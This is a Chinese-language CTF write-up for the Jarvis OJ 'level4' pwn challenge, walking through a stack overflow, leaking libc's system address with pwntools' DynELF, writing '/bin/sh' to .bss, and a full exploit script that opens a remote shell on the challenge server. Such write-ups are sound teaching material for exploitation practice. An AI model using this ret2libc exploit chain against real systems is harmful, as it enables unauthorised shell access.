0x00:前言
DynELF方法适用于没有libc的情况,我们可以通过DynELF方法来实现泄露system函数的地址,那么DynELF是什么呢?在pwntools官方文档有介绍,简单而言就是通过leak方法反复进入main函数中查询libc中的内容,其代码框架如下
p = process('./xxx')
def leak(address):
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex'))) #打印搜索的信息
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址
我们通过一道题来深入了解这个方法
0x01:Jarvis Oj-level4
题目链接
https://dn.jarvisoj.com/challengefiles/level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0
解题思路
我们先检测一些保护机制
root@Thunder_J-virtual-machine:~/桌面# checksec level4 '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/level4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled #堆栈不可执行
PIE: No PIE (0x8048000)
用IDA查看一下主函数内容
main()
如果是做了前面level0-3的朋友应该对这里非常熟悉,逻辑非常简单,我们进vulnerable_function()函数内看一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
vulnerable_function()
很明显这里出现栈溢出,read函数读取0x100的内容,双击buf可以看到buf只有0x88+0x4的大小,所以我们可以构造栈溢出
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
return read(0, &buf, 0x100u);
}
第一次构造
既然我们清楚是栈溢出,我们就需要多多观察程序内的信息,有没有system,’/bin/sh’等关键的内容,然而我们用IDA并没有搜索到有system或者’/bin/sh’的信息,那这里就需要用到上面提及的DynELF的方法了,我们通过objdump查看函数信息:
root@Thunder_J-virtual-machine:~/桌面# objdump -R level4
level4: 文件格式 elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT read@GLIBC_2.0
0804a010 R_386_JUMP_SLOT __gmon_start__
0804a014 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a018 R_386_JUMP_SLOT write@GLIBC_2.0
我们看到有read和write函数,其实有这两个函数就代表我们可以通过他们来泄露system函数在libc中的地址了,因为我们可以通过栈溢出覆盖返回地址执行,因此我们第一次构造调用write函数泄露libc中system的地址
def leak(addr):
write_plt = p32(0x08048340)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + p32(addr) + p32(4) #write(1, addr, 4);
r.send(payload)
leaked = r.recv(4)
return leaked
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')
第二次构造
我们在得到了system函数的地址之后就需要写入’/bin/sh’字符串了,那么去哪里写入呢?当然是.bss段,我们通过readelf的方法查看程序的.bss段:
root@Thunder_J-virtual-machine:~/桌面# readelf -S level4
There are 30 section headers, starting at offset 0x1844:
节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A 6 1 4
[ 6] .dynstr STRTAB 0804822c 00022c 000050 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804827c 00027c 00000c 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048288 000288 000020 00 A 6 1 4
[ 9] .rel.dyn REL 080482a8 0002a8 000008 08 A 5 0 4
[10] .rel.plt REL 080482b0 0002b0 000020 08 AI 5 12 4
[11] .init PROGBITS 080482d0 0002d0 000023 00 AX 0 0 4
[12] .plt PROGBITS 08048300 000300 000050 04 AX 0 0 16
[13] .text PROGBITS 08048350 000350 0001c2 00 AX 0 0 16
[14] .fini PROGBITS 08048514 000514 000014 00 AX 0 0 4
[15] .rodata PROGBITS 08048528 000528 000017 00 A 0 0 4
[16] .eh_frame_hdr PROGBITS 08048540 000540 000034 00 A 0 0 4
[17] .eh_frame PROGBITS 08048574 000574 0000ec 00 A 0 0 4
[18] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[20] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[22] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 0804a000 001000 00001c 04 WA 0 0 4
[24] .data PROGBITS 0804a01c 00101c 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a024 001024 000004 00 WA 0 0 1
[26] .comment PROGBITS 00000000 001024 000052 01 MS 0 0 1
[27] .shstrtab STRTAB 00000000 001076 000106 00 0 0 1
[28] .symtab SYMTAB 00000000 00117c 000450 10 29 45 4
[29] .strtab STRTAB 00000000 0015cc 000276 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
根据上面的数据我们选中.bss段的地址开始第二次构造,在.bss段中写入’/bin/sh’字符串
data_addr = 0x0804A024 # readelf -S level4
read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)
r.send("/bin/sh\x00")
第三次构造
准备工作做完了当然最后一步就是getshell了
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)
exp
总结一下上面的步骤
from pwn import *
r = remote("pwn2.jarvisoj.com", 9880)
def leak(addr):
write_plt = p32(0x08048340)
fun_addr = p32(0x0804844b)
buf = p32(addr)
payload = 'a' * (0x88 + 0x4) + write_plt + fun_addr + p32(1) + buf + p32(4)
r.send(payload)
leaked = r.recv(4)
return leaked
d = DynELF(leak, elf=ELF("./level4"))
system_addr = d.lookup('system', 'libc')
data_addr = 0x0804A024 # readelf -S level4
read_plt = p32(0x08048310)
fun_addr = p32(0x0804844b)
payload = 'a' * (0x88 + 0x4) + read_plt + fun_addr + p32(0) + p32(data_addr) + p32(8)
r.send(payload)
r.send("/bin/sh\x00")
payload = 'a' * (0x88 + 0x4) + p32(system_addr) + 'aaaa' + p32(data_addr)
r.send(payload)
r.interactive()
没有做过level0-3的建议做一下在做level4,每个题目收获都会有所不同
|